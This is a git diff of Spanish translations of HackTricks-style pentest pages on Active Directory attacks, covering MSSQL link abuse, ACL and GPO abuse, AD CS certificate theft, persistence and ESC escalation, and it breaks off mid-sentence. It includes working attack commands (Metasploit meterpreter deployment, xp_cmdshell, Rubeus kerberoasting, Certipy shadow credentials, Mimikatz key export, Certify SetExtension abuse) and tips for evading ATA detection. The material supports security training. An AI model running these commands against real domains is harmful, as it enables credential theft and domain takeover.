sobre esto se pueden leer en [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). En escenarios que carecen de ADCS, el atacante tiene la capacidad de configurar los componentes necesarios, como se discute en [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/). ### Dominio Externo del Bosque - Unidireccional (Entrante) o bidireccional ```bash @@ -728,11 +737,11 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move ### **Implementación de Técnicas de Engaño** -- Implementar el engaño implica establecer trampas, como usuarios o computadoras señuelo, con características como contraseñas que no expiran o están marcadas como Confiadas para Delegación. Un enfoque detallado incluye crear usuarios con derechos específicos o agregarlos a grupos de alto privilegio. +- Implementar el engaño implica establecer trampas, como usuarios o computadoras señuelo, con características como contraseñas que no expiran o están marcadas como Confiables para Delegación. Un enfoque detallado incluye crear usuarios con derechos específicos o agregarlos a grupos de alto privilegio. - Un ejemplo práctico implica usar herramientas como: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` - Más sobre la implementación de técnicas de engaño se puede encontrar en [Deploy-Deception en GitHub](https://github.com/samratashok/Deploy-Deception). -### **Identificación del Engaño** +### **Identificación de Engaño** - **Para Objetos de Usuario**: Indicadores sospechosos incluyen ObjectSID atípico, inicios de sesión infrecuentes, fechas de creación y bajos conteos de contraseñas incorrectas. - **Indicadores Generales**: Comparar atributos de objetos potencialmente señuelo con los de objetos genuinos puede revelar inconsistencias. Herramientas como [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) pueden ayudar a identificar tales engaños. @@ -742,7 +751,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move - **Evasión de Detección de Microsoft ATA**: - **Enumeración de Usuarios**: Evitar la enumeración de sesiones en Controladores de Dominio para prevenir la detección de ATA. - **Suplantación de Tickets**: Utilizar claves **aes** para la creación de tickets ayuda a evadir la detección al no degradar a NTLM. -- **Ataques DCSync**: Se aconseja ejecutar desde un controlador que no sea de dominio para evitar la detección de ATA, ya que la ejecución directa desde un Controlador de Dominio activará alertas. +- **Ataques DCSync**: Se aconseja ejecutar desde un controlador de dominio no para evitar la detección de ATA, ya que la ejecución directa desde un controlador de dominio activará alertas. ## Referencias diff --git a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md index cc3975eb7..e2635b639 100644 --- a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md +++ b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -7,7 +7,7 @@ ### Python -La herramienta [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) se basa en impacket, y también permite autenticarse utilizando tickets kerberos, y atacar a través de cadenas de enlaces. +La herramienta [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) se basa en impacket, y también permite autenticarse utilizando tickets kerberos, y atacar a través de cadenas de enlace.
```shell @@ -166,7 +166,7 @@ También podría ser posible **ejecutar comandos** dentro del host de MSSQL. Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults # Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary ``` -Revisa en la página mencionada en la **siguiente sección cómo hacerlo manualmente.** +Verifique en la página mencionada en la **siguiente sección cómo hacerlo manualmente.** ### Trucos Básicos de Hacking en MSSQL @@ -226,7 +226,7 @@ Puedes verificar fácilmente los enlaces de confianza utilizando metasploit. msf> use exploit/windows/mssql/mssql_linkcrawler [msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session ``` -Notice that metasploit will try to abuse only the `openquery()` function in MSSQL (so, if you can't execute command with `openquery()` you will need to try the `EXECUTE` method **manually** to execute commands, see more below.) +Notice que metasploit intentará abusar solo de la función `openquery()` en MSSQL (así que, si no puedes ejecutar comandos con `openquery()`, necesitarás intentar el método `EXECUTE` **manualmente** para ejecutar comandos, ver más abajo). ### Manual - Openquery() @@ -234,7 +234,7 @@ Desde **Linux** podrías obtener un shell de consola MSSQL con **sqsh** y **mssq Desde **Windows** también podrías encontrar los enlaces y ejecutar comandos manualmente usando un **cliente MSSQL como** [**HeidiSQL**](https://www.heidisql.com) -_Iniciar sesión usando autenticación de Windows:_ +_Inicia sesión usando autenticación de Windows:_ ![](<../../images/image (808).png>) @@ -278,7 +278,7 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT El **usuario local de MSSQL** generalmente tiene un tipo especial de privilegio llamado **`SeImpersonatePrivilege`**. Esto permite que la cuenta "imite a un cliente después de la autenticación". -Una estrategia que muchos autores han propuesto es forzar a un servicio del SYSTEM a autenticarse en un servicio malicioso o de intermediario que el atacante crea. Este servicio malicioso puede entonces imitar al servicio del SYSTEM mientras intenta autenticarse. +Una estrategia que muchos autores han propuesto es forzar a un servicio del SISTEMA a autenticarse en un servicio malicioso o de intermediario que el atacante crea. Este servicio malicioso puede entonces imitar al servicio del SISTEMA mientras intenta autenticarse. [SweetPotato](https://github.com/CCob/SweetPotato) tiene una colección de estas diversas técnicas que se pueden ejecutar a través del comando `execute-assembly` de Beacon. @@ -286,6 +286,7 @@ Una estrategia que muchos autores han propuesto es forzar a un servicio del SYST ### Relevo NTLM del Punto de Gestión SCCM (Extracción de Secretos OSD) Vea cómo los roles SQL predeterminados de **Puntos de Gestión** de SCCM pueden ser abusados para volcar la Cuenta de Acceso a la Red y secretos de Secuencia de Tareas directamente desde la base de datos del sitio: + {{#ref}} sccm-management-point-relay-sql-policy-secrets.md {{#endref}} diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md index abec97455..ed78ab039 100644 --- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md +++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md @@ -6,16 +6,17 @@ ## BadSuccessor + {{#ref}} BadSuccessor.md {{#endref}} -## **Derechos GenericAll en el Usuario** +## **Derechos GenericAll en Usuario** Este privilegio otorga a un atacante control total sobre una cuenta de usuario objetivo. Una vez que se confirman los derechos `GenericAll` utilizando el comando `Get-ObjectAcl`, un atacante puede: - **Cambiar la Contraseña del Objetivo**: Usando `net user /domain`, el atacante puede restablecer la contraseña del usuario. -- **Kerberoasting Dirigido**: Asignar un SPN a la cuenta del usuario para hacerla susceptible a kerberoasting, luego usar Rubeus y targetedKerberoast.py para extraer e intentar descifrar los hashes del ticket de concesión de tickets (TGT). +- **Kerberoasting Dirigido**: Asignar un SPN a la cuenta del usuario para hacerla susceptible a kerberoasting, luego usar Rubeus y targetedKerberoast.py para extraer e intentar romper los hashes del ticket-granting ticket (TGT). ```bash Set-DomainObject -Credential $creds -Identity -Set @{serviceprincipalname="fake/NOTHING"} .\Rubeus.exe kerberoast /user: /nowrap @@ -78,7 +79,7 @@ rpcclient -U KnownUsername 10.10.10.192 ``` ## **WriteOwner en Grupo** -Si un atacante descubre que tiene derechos de `WriteOwner` sobre un grupo, puede cambiar la propiedad del grupo a sí mismo. Esto es particularmente impactante cuando el grupo en cuestión es `Domain Admins`, ya que cambiar la propiedad permite un control más amplio sobre los atributos y la membresía del grupo. El proceso implica identificar el objeto correcto a través de `Get-ObjectAcl` y luego usar `Set-DomainObjectOwner` para modificar el propietario, ya sea por SID o por nombre. +Si un atacante descubre que tiene derechos de `WriteOwner` sobre un grupo, puede cambiar la propiedad del grupo a sí mismo. Esto es particularmente impactante cuando el grupo en cuestión es `Domain Admins`, ya que cambiar la propiedad permite un control más amplio sobre los atributos y la membresía del grupo. El proceso implica identificar el objeto correcto a través de `Get-ObjectAcl` y luego usar `Set-DomainObjectOwner` para modificar el propietario, ya sea por SID o nombre. ```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose @@ -112,7 +113,7 @@ $ADSI.psbase.commitchanges() ``` ## **Replicación en el Dominio (DCSync)** -El ataque DCSync aprovecha permisos de replicación específicos en el dominio para imitar un Controlador de Dominio y sincronizar datos, incluyendo credenciales de usuario. Esta poderosa técnica requiere permisos como `DS-Replication-Get-Changes`, permitiendo a los atacantes extraer información sensible del entorno de AD sin acceso directo a un Controlador de Dominio. [**Aprende más sobre el ataque DCSync aquí.**](../dcsync.md) +El ataque DCSync aprovecha permisos específicos de replicación en el dominio para imitar un Controlador de Dominio y sincronizar datos, incluyendo credenciales de usuario. Esta poderosa técnica requiere permisos como `DS-Replication-Get-Changes`, permitiendo a los atacantes extraer información sensible del entorno de AD sin acceso directo a un Controlador de Dominio. [**Aprende más sobre el ataque DCSync aquí.**](../dcsync.md) ## Delegación de GPO @@ -163,11 +164,11 @@ La estructura de la tarea, como se muestra en el archivo de configuración XML g ### Usuarios y Grupos -Los GPO también permiten la manipulación de membresías de usuarios y grupos en sistemas objetivo. Al editar directamente los archivos de políticas de Usuarios y Grupos, los atacantes pueden agregar usuarios a grupos privilegiados, como el grupo local `administrators`. Esto es posible a través de la delegación de permisos de gestión de GPO, que permite la modificación de archivos de políticas para incluir nuevos usuarios o cambiar las membresías de grupos. +Los GPO también permiten la manipulación de membresías de usuarios y grupos en sistemas objetivo. Al editar directamente los archivos de políticas de Usuarios y Grupos, los atacantes pueden agregar usuarios a grupos privilegiados, como el grupo local de `administradores`. Esto es posible a través de la delegación de permisos de gestión de GPO, que permite la modificación de archivos de políticas para incluir nuevos usuarios o cambiar las membresías de grupos. El archivo de configuración XML para Usuarios y Grupos detalla cómo se implementan estos cambios. Al agregar entradas a este archivo, se pueden otorgar privilegios elevados a usuarios específicos en los sistemas afectados. Este método ofrece un enfoque directo para la escalada de privilegios a través de la manipulación de GPO. -Además, se pueden considerar métodos adicionales para ejecutar código o mantener persistencia, como aprovechar scripts de inicio/cierre de sesión, modificar claves del registro para autoruns, instalar software a través de archivos .msi o editar configuraciones de servicios. Estas técnicas proporcionan diversas vías para mantener el acceso y controlar sistemas objetivo a través del abuso de GPOs. +Además, se pueden considerar métodos adicionales para ejecutar código o mantener persistencia, como aprovechar scripts de inicio/cierre de sesión, modificar claves del registro para autorun, instalar software a través de archivos .msi, o editar configuraciones de servicios. Estas técnicas proporcionan diversas vías para mantener el acceso y controlar sistemas objetivo a través del abuso de GPOs. ## Referencias diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md index da7a7ab7f..a9c4b9649 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md @@ -34,7 +34,7 @@ certipy auth -pfx user.pfx -dc-ip 10.0.0.10 ``` > Nota: Combinado con otras técnicas (ver secciones de THEFT), la autenticación basada en certificados permite acceso persistente sin tocar LSASS e incluso desde contextos no elevados. -## Obtención de Persistencia de Máquina con Certificados - PERSIST2 +## Obtención de Persistencia en la Máquina con Certificados - PERSIST2 Si un atacante tiene privilegios elevados en un host, puede inscribir la cuenta de máquina del sistema comprometido para un certificado utilizando la plantilla `Machine` predeterminada. Autenticarse como la máquina habilita S4U2Self para servicios locales y puede proporcionar persistencia duradera en el host: ```bash @@ -66,11 +66,11 @@ Si puede escribir en el atributo `altSecurityIdentities` de una cuenta objetivo, Flujo de alto nivel: 1. Obtenga o emita un certificado de autenticación de cliente que controle (por ejemplo, inscriba la plantilla `User` como usted mismo). -2. Extraiga un identificador fuerte del certificado (Emisor+Serial, SKI o SHA1-ClavePública). +2. Extraiga un identificador fuerte del certificado (Issuer+Serial, SKI o SHA1-PublicKey). 3. Agregue un mapeo explícito en el `altSecurityIdentities` del principal víctima utilizando ese identificador. 4. Autentíquese con su certificado; el DC lo mapea a la víctima a través del mapeo explícito. -Ejemplo (PowerShell) utilizando un mapeo fuerte de Emisor+Serial: +Ejemplo (PowerShell) utilizando un mapeo fuerte de Issuer+Serial: ```powershell # Example values - reverse the issuer DN and serial as required by AD mapping format $Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' @@ -116,10 +116,10 @@ La revocación del certificado del agente o los permisos de plantilla es necesar Microsoft KB5014754 introdujo la Aplicación de Mapeo de Certificados Fuertes en controladores de dominio. Desde el 11 de febrero de 2025, los DCs predeterminan la Aplicación Completa, rechazando mapeos débiles/ambiguos. Implicaciones prácticas: - Los certificados anteriores a 2022 que carecen de la extensión de mapeo SID pueden fallar en el mapeo implícito cuando los DCs están en Aplicación Completa. Los atacantes pueden mantener el acceso renovando certificados a través de AD CS (para obtener la extensión SID) o plantando un mapeo explícito fuerte en `altSecurityIdentities` (PERSIST4). -- Los mapeos explícitos que utilizan formatos fuertes (Emisor+Serie, SKI, SHA1-ClavePública) continúan funcionando. Los formatos débiles (Emisor/Sujeto, Solo-Sujeto, RFC822) pueden ser bloqueados y deben evitarse para la persistencia. +- Los mapeos explícitos que utilizan formatos fuertes (Emisor+Serie, SKI, SHA1-ClavePública) continúan funcionando. Los formatos débiles (Emisor/Sujeto, Solo-sujeto, RFC822) pueden ser bloqueados y deben evitarse para la persistencia. Los administradores deben monitorear y alertar sobre: -- Cambios en `altSecurityIdentities` y emisión/renovaciones de certificados de Agente de Inscripción y Usuario. +- Cambios en `altSecurityIdentities` y la emisión/renovaciones de certificados de Agente de Inscripción y Usuario. - Registros de emisión de CA para solicitudes en nombre de y patrones de renovación inusuales. ## Referencias diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md index f895f20e3..84035f767 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md @@ -6,7 +6,7 @@ ## ¿Qué puedo hacer con un certificado? -Antes de verificar cómo robar los certificados, aquí tienes algo de información sobre cómo encontrar para qué es útil el certificado: +Antes de revisar cómo robar los certificados, aquí tienes información sobre cómo encontrar para qué es útil el certificado: ```bash # Powershell $CertPath = "C:\path\to\cert.pfx" @@ -22,7 +22,7 @@ certutil.exe -dump -v cert.pfx En una **sesión de escritorio interactiva**, extraer un certificado de usuario o de máquina, junto con la clave privada, se puede hacer fácilmente, particularmente si la **clave privada es exportable**. Esto se puede lograr navegando al certificado en `certmgr.msc`, haciendo clic derecho sobre él y seleccionando `All Tasks → Export` para generar un archivo .pfx protegido por contraseña. -Para un **enfoque programático**, están disponibles herramientas como el cmdlet de PowerShell `ExportPfxCertificate` o proyectos como [TheWover’s CertStealer C# project](https://github.com/TheWover/CertStealer). Estas utilizan la **Microsoft CryptoAPI** (CAPI) o la Cryptography API: Next Generation (CNG) para interactuar con el almacén de certificados. Estas APIs proporcionan una gama de servicios criptográficos, incluidos los necesarios para el almacenamiento y la autenticación de certificados. +Para un **enfoque programático**, hay herramientas como el cmdlet de PowerShell `ExportPfxCertificate` o proyectos como [TheWover’s CertStealer C# project](https://github.com/TheWover/CertStealer). Estas utilizan la **Microsoft CryptoAPI** (CAPI) o la Cryptography API: Next Generation (CNG) para interactuar con el almacén de certificados. Estas APIs proporcionan una gama de servicios criptográficos, incluidos los necesarios para el almacenamiento y la autenticación de certificados. Sin embargo, si una clave privada está configurada como no exportable, tanto CAPI como CNG normalmente bloquearán la extracción de tales certificados. Para eludir esta restricción, se pueden emplear herramientas como **Mimikatz**. Mimikatz ofrece comandos `crypto::capi` y `crypto::cng` para parchear las respectivas APIs, permitiendo la exportación de claves privadas. Específicamente, `crypto::capi` parchea el CAPI dentro del proceso actual, mientras que `crypto::cng` apunta a la memoria de **lsass.exe** para el parcheo. @@ -70,7 +70,7 @@ La desencriptación manual se puede lograr ejecutando el comando `lsadump::secre ## Encontrando Archivos de Certificados – THEFT4 -Los certificados a veces se encuentran directamente dentro del sistema de archivos, como en recursos compartidos de archivos o en la carpeta de Descargas. Los tipos de archivos de certificados más comúnmente encontrados dirigidos a entornos de Windows son los archivos `.pfx` y `.p12`. Aunque con menos frecuencia, también aparecen archivos con extensiones `.pkcs12` y `.pem`. Otras extensiones de archivo relacionadas con certificados que son notables incluyen: +Los certificados a veces se encuentran directamente dentro del sistema de archivos, como en recursos compartidos de archivos o en la carpeta de Descargas. Los tipos de archivos de certificados más comúnmente encontrados dirigidos a entornos de Windows son los archivos `.pfx` y `.p12`. Aunque con menos frecuencia, también aparecen archivos con las extensiones `.pkcs12` y `.pem`. Otras extensiones de archivo relacionadas con certificados que son notables incluyen: - `.key` para claves privadas, - `.crt`/`.cer` solo para certificados, @@ -94,7 +94,7 @@ john --wordlist=passwords.txt hash.txt El contenido dado explica un método para el robo de credenciales NTLM a través de PKINIT, específicamente mediante el método de robo etiquetado como THEFT5. Aquí hay una reexplicación en voz pasiva, con el contenido anonimizado y resumido donde sea aplicable: -Para soportar la autenticación NTLM `MS-NLMP` para aplicaciones que no facilitan la autenticación Kerberos, el KDC está diseñado para devolver la función unidireccional (OWF) NTLM del usuario dentro del certificado de atributo de privilegio (PAC), específicamente en el búfer `PAC_CREDENTIAL_INFO`, cuando se utiliza PKCA. En consecuencia, si una cuenta se autentica y asegura un Ticket-Granting Ticket (TGT) a través de PKINIT, se proporciona inherentemente un mecanismo que permite al host actual extraer el hash NTLM del TGT para mantener los protocolos de autenticación heredados. Este proceso implica la decripción de la estructura `PAC_CREDENTIAL_DATA`, que es esencialmente una representación serializada NDR del texto plano NTLM. +Para soportar la autenticación NTLM `MS-NLMP` para aplicaciones que no facilitan la autenticación Kerberos, se diseñó el KDC para devolver la función unidireccional (OWF) NTLM del usuario dentro del certificado de atributo de privilegio (PAC), específicamente en el búfer `PAC_CREDENTIAL_INFO`, cuando se utiliza PKCA. En consecuencia, si una cuenta se autentica y asegura un Ticket-Granting Ticket (TGT) a través de PKINIT, se proporciona inherentemente un mecanismo que permite al host actual extraer el hash NTLM del TGT para mantener los protocolos de autenticación heredados. Este proceso implica la decripción de la estructura `PAC_CREDENTIAL_DATA`, que es esencialmente una representación serializada NDR del texto plano NTLM. La utilidad **Kekeo**, accesible en [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo), se menciona como capaz de solicitar un TGT que contenga estos datos específicos, facilitando así la recuperación del NTLM del usuario. El comando utilizado para este propósito es el siguiente: ```bash @@ -102,7 +102,7 @@ tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domai ``` **`Rubeus`** también puede obtener esta información con la opción **`asktgt [...] /getcredentials`**. -Además, se señala que Kekeo puede procesar certificados protegidos por tarjeta inteligente, dado que se puede recuperar el pin, haciendo referencia a [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe). La misma capacidad se indica que es soportada por **Rubeus**, disponible en [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus). +Además, se señala que Kekeo puede procesar certificados protegidos por tarjeta inteligente, dado que se puede recuperar el pin, haciendo referencia a [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe). La misma capacidad se indica que es compatible con **Rubeus**, disponible en [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus). Esta explicación encapsula el proceso y las herramientas involucradas en el robo de credenciales NTLM a través de PKINIT, centrándose en la recuperación de hashes NTLM a través de TGT obtenidos usando PKINIT, y las utilidades que facilitan este proceso. diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index 8e0cc51e3..8359791d1 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -21,7 +21,7 @@ - **Las plantillas de certificado están configuradas para definir EKUs que facilitan la autenticación:** - Se incluyen identificadores de Uso Extendido de Clave (EKU) como Autenticación de Cliente (OID 1.3.6.1.5.5.7.3.2), Autenticación de Cliente PKINIT (1.3.6.1.5.2.3.4), Inicio de Sesión con Tarjeta Inteligente (OID 1.3.6.1.4.1.311.20.2.2), Cualquier Propósito (OID 2.5.29.37.0), o sin EKU (SubCA). - **La plantilla permite a los solicitantes incluir un subjectAltName en la Solicitud de Firma de Certificado (CSR):** -- Active Directory (AD) prioriza el subjectAltName (SAN) en un certificado para la verificación de identidad si está presente. Esto significa que al especificar el SAN en un CSR, se puede solicitar un certificado para suplantar a cualquier usuario (por ejemplo, un administrador de dominio). Si un SAN puede ser especificado por el solicitante se indica en el objeto AD de la plantilla de certificado a través de la propiedad `mspki-certificate-name-flag`. Esta propiedad es una máscara de bits, y la presencia de la bandera `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permite la especificación del SAN por el solicitante. +- Active Directory (AD) prioriza el subjectAltName (SAN) en un certificado para la verificación de identidad si está presente. Esto significa que al especificar el SAN en un CSR, se puede solicitar un certificado para suplantar a cualquier usuario (por ejemplo, un administrador de dominio). Si se puede especificar un SAN por el solicitante se indica en el objeto AD de la plantilla de certificado a través de la propiedad `mspki-certificate-name-flag`. Esta propiedad es una máscara de bits, y la presencia de la bandera `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` permite la especificación del SAN por el solicitante. > [!CAUTION] > La configuración descrita permite a usuarios de bajo privilegio solicitar certificados con cualquier SAN de su elección, habilitando la autenticación como cualquier principal de dominio a través de Kerberos o SChannel. @@ -79,7 +79,7 @@ Para enumerar las plantillas que coinciden con este escenario dentro del esquema ### Explicación -Este escenario es como el primero y el segundo, pero **abusando** de un **EKU diferente** (Agente de Solicitud de Certificado) y **2 plantillas diferentes** (por lo tanto, tiene 2 conjuntos de requisitos). +Este escenario es como el primero y el segundo, pero **abusando** de un **EKU** diferente (Agente de Solicitud de Certificado) y **2 plantillas diferentes** (por lo tanto, tiene 2 conjuntos de requisitos). El **EKU de Agente de Solicitud de Certificado** (OID 1.3.6.1.4.1.311.20.2.1), conocido como **Agente de Inscripción** en la documentación de Microsoft, permite a un principal **inscribirse** para un **certificado** en **nombre de otro usuario**. @@ -127,15 +127,15 @@ Sin embargo, se observa que la configuración **predeterminada** para las CAs es El **descriptor de seguridad** en las **plantillas de certificado** define los **permisos** específicos que los **principales de AD** poseen con respecto a la plantilla. -Si un **atacante** posee los **permisos** requeridos para **alterar** una **plantilla** e **instituir** cualquier **mala configuración explotable** descrita en **secciones anteriores**, se podría facilitar la escalada de privilegios. +Si un **atacante** posee los **permisos** necesarios para **alterar** una **plantilla** e **instituir** cualquier **mala configuración explotable** descrita en **secciones anteriores**, se podría facilitar la escalada de privilegios. Los permisos notables aplicables a las plantillas de certificado incluyen: -- **Propietario:** Otorga control implícito sobre el objeto, permitiendo la modificación de cualquier atributo. -- **ControlTotal:** Habilita autoridad completa sobre el objeto, incluida la capacidad de alterar cualquier atributo. -- **EscribirPropietario:** Permite la alteración del propietario del objeto a un principal bajo el control del atacante. -- **EscribirDacl:** Permite el ajuste de controles de acceso, potencialmente otorgando a un atacante ControlTotal. -- **EscribirPropiedad:** Autoriza la edición de cualquier propiedad del objeto. +- **Owner:** Concede control implícito sobre el objeto, permitiendo la modificación de cualquier atributo. +- **FullControl:** Habilita autoridad completa sobre el objeto, incluida la capacidad de alterar cualquier atributo. +- **WriteOwner:** Permite la alteración del propietario del objeto a un principal bajo el control del atacante. +- **WriteDacl:** Permite el ajuste de controles de acceso, potencialmente otorgando a un atacante FullControl. +- **WriteProperty:** Autoriza la edición de cualquier propiedad del objeto. ### Abuso @@ -145,7 +145,7 @@ Un ejemplo de un privesc como el anterior: ESC4 es cuando un usuario tiene privilegios de escritura sobre una plantilla de certificado. Esto puede, por ejemplo, ser abusado para sobrescribir la configuración de la plantilla de certificado para hacer que la plantilla sea vulnerable a ESC1. -Como podemos ver en la ruta anterior, solo `JOHNPC` tiene estos privilegios, pero nuestro usuario `JOHN` tiene el nuevo borde `AddKeyCredentialLink` hacia `JOHNPC`. Dado que esta técnica está relacionada con certificados, también he implementado este ataque, que se conoce como [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Aquí hay un pequeño adelanto del comando `shadow auto` de Certipy para recuperar el hash NT de la víctima. +Como podemos ver en la ruta anterior, solo `JOHNPC` tiene estos privilegios, pero nuestro usuario `JOHN` tiene el nuevo borde `AddKeyCredentialLink` hacia `JOHNPC`. Dado que esta técnica está relacionada con certificados, he implementado este ataque también, que se conoce como [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Aquí hay un pequeño adelanto del comando `shadow auto` de Certipy para recuperar el hash NT de la víctima. ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` @@ -252,15 +252,15 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 #### Explicación > [!WARNING] -> En el **ataque anterior**, se utilizaron los permisos de **`Manage CA`** para **habilitar** la bandera **EDITF_ATTRIBUTESUBJECTALTNAME2** para realizar el **ataque ESC6**, pero esto no tendrá ningún efecto hasta que se reinicie el servicio de CA (`CertSvc`). Cuando un usuario tiene el derecho de acceso **`Manage CA`**, también se le permite **reiniciar el servicio**. Sin embargo, **no significa que el usuario pueda reiniciar el servicio de forma remota**. Además, **ESC6 puede no funcionar de inmediato** en la mayoría de los entornos parcheados debido a las actualizaciones de seguridad de mayo de 2022. +> En el **ataque anterior**, se utilizaron los permisos **`Manage CA`** para **habilitar** la bandera **EDITF_ATTRIBUTESUBJECTALTNAME2** para realizar el **ataque ESC6**, pero esto no tendrá ningún efecto hasta que se reinicie el servicio de CA (`CertSvc`). Cuando un usuario tiene el derecho de acceso **`Manage CA`**, también se le permite **reiniciar el servicio**. Sin embargo, **no significa que el usuario pueda reiniciar el servicio de forma remota**. Además, el **ESC6 podría no funcionar de inmediato** en la mayoría de los entornos parcheados debido a las actualizaciones de seguridad de mayo de 2022. Por lo tanto, aquí se presenta otro ataque. Requisitos previos: - Solo permiso **`ManageCA`** -- Permiso **`Manage Certificates`** (se puede otorgar desde **`ManageCA`**) -- La plantilla de certificado **`SubCA`** debe estar **habilitada** (se puede habilitar desde **`ManageCA`**) +- Permiso **`Manage Certificates`** (puede ser otorgado desde **`ManageCA`**) +- La plantilla de certificado **`SubCA`** debe estar **habilitada** (puede ser habilitada desde **`ManageCA`**) La técnica se basa en el hecho de que los usuarios con el derecho de acceso **`Manage CA`** _y_ **`Manage Certificates`** pueden **emitir solicitudes de certificados fallidas**. La plantilla de certificado **`SubCA`** es **vulnerable a ESC1**, pero **solo los administradores** pueden inscribirse en la plantilla. Por lo tanto, un **usuario** puede **solicitar** inscribirse en la **`SubCA`** - lo cual será **denegado** - pero **luego emitido por el gerente posteriormente**. @@ -318,27 +318,69 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Loaded private key from '785.key' [*] Saved certificate and private key to 'administrator.pfx' ``` -## NTLM Relay a Puntos Finales HTTP de AD CS – ESC8 +### Ataque 3 – Abuso de la Extensión de Gestión de Certificados (SetExtension) + +#### Explicación + +Además de los abusos clásicos de ESC7 (habilitar atributos EDITF o aprobar solicitudes pendientes), **Certify 2.0** reveló un nuevo primitivo que solo requiere el rol de *Manage Certificates* (también conocido como **Certificate Manager / Officer**) en la CA Empresarial. + +El método RPC `ICertAdmin::SetExtension` puede ser ejecutado por cualquier principal que tenga *Manage Certificates*. Mientras que el método se utilizaba tradicionalmente por CAs legítimas para actualizar extensiones en solicitudes **pendientes**, un atacante puede abusar de él para **agregar una *extensión de certificado no predeterminada*** (por ejemplo, un OID de *Certificate Issuance Policy* personalizado como `1.1.1.1`) a una solicitud que está esperando aprobación. + +Debido a que la plantilla objetivo **no define un valor predeterminado para esa extensión**, la CA NO sobrescribirá el valor controlado por el atacante cuando la solicitud sea finalmente emitida. Por lo tanto, el certificado resultante contiene una extensión elegida por el atacante que puede: + +* Satisfacer los requisitos de políticas de aplicación / emisión de otras plantillas vulnerables (lo que lleva a la escalada de privilegios). +* Inyectar EKUs adicionales o políticas que otorgan al certificado una confianza inesperada en sistemas de terceros. + +En resumen, *Manage Certificates* – anteriormente considerado la mitad “menos poderosa” de ESC7 – ahora puede ser aprovechado para una escalada de privilegios completa o persistencia a largo plazo, sin tocar la configuración de la CA o requerir el derecho más restrictivo de *Manage CA*. + +#### Abusando del primitivo con Certify 2.0 + +1. **Enviar una solicitud de certificado que permanecerá *pendiente*.** Esto se puede forzar con una plantilla que requiere aprobación de un gerente: +```powershell +Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval +# Toma nota del ID de Solicitud devuelto +``` + +2. **Agregar una extensión personalizada a la solicitud pendiente** utilizando el nuevo comando `manage-ca`: +```powershell +Certify.exe manage-ca --ca SERVER\\CA-NAME \ +--request-id 1337 \ +--set-extension "1.1.1.1=DER,10,01 01 00 00" # OID de política de emisión falsa +``` +*Si la plantilla no define ya la extensión de *Certificate Issuance Policies*, el valor anterior se preservará después de la emisión.* + +3. **Emitir la solicitud** (si tu rol también tiene derechos de aprobación de *Manage Certificates*) o esperar a que un operador la apruebe. Una vez emitido, descarga el certificado: +```powershell +Certify.exe request-download --ca SERVER\\CA-NAME --id 1337 +``` + +4. El certificado resultante ahora contiene el OID de política de emisión malicioso y puede ser utilizado en ataques posteriores (por 